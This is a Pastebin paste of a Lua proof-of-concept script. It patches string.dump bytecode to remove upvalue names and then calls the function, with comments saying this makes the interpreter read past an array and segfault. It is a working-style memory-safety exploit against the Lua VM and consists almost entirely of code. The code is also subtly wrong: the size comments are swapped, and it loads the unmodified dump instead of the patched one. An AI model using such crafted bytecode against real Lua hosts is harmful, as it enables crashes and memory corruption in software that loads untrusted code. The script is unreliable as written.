Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Configure these parameters for your environment
- sizeof_int = 4 -- sizeof(size_t) in C
- sizeof_size_t = 4 -- sizeof(int) in C
- endian = "small" -- "small" or "big"
- -- do ... end block so that the locals are used if this is typed line by line into the interpreter
- do
- -- define some locals to be used as upvalues
- local a, b, c
- -- define a function using upvalues
- function F()
- -- Make sure that upvalues #1 through #2 refer to a, b and c (in that order)
- local _ = {a, b, c}
- -- This line will generate an error referring to upvalue #3
- return c[b][a]
- end
- end
- -- Convert function F to it's binary form
- -- (the values of the upvalues are not dumped)
- S = string.dump(F)
- -- Remove the upvalue names of upvalues #2 and #3 from the debug information
- if endian == "small" then
- -- We need at-least one upvalue name, or else the upvalue name array will be of zero length
- -- and thus be NULL (lua allocator must return NULL when nsize == 0). Thus reduce the upvalue
- -- name array to a single entry.
- P = S:gsub("\3".. ("%z"):rep(sizeof_int - 1) .. -- Number of upvalue names (3)
- "\2".. ("%z"):rep(sizeof_size_t - 1) ..".%z".. -- Name of upvalue #1 (length 2, "a\0")
- "\2".. ("%z"):rep(sizeof_size_t - 1) ..".%z" -- Name of upvalue #2 (length 2, "b\0")
- ,
- "\1".. ("\0"):rep(sizeof_int - 1) -- Number of upvalue names (1)
- )
- else
- -- Same as previous code, but for big-endian integers
- P = S:gsub(("%z"):rep(sizeof_int - 1) .."\3"..
- ("%z"):rep(sizeof_size_t - 1) .."\2.%z"..
- ("%z"):rep(sizeof_size_t - 1) .."\2.%z"
- ,
- ("\0"):rep(sizeof_int - 1) .. "\1"
- )
- end
- -- Load the modified binary
- M = assert(loadstring(S))
- -- Execute the modified function
- -- This should cause the error "attempt to index upvalue 'c' (a nil value)"
- -- However, as the name of upvalue #3 is no longer in the upvalue name array, when the VM goes to generate
- -- the error message, it references past the end of the upvalue name array, leading to a segfault
- M()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement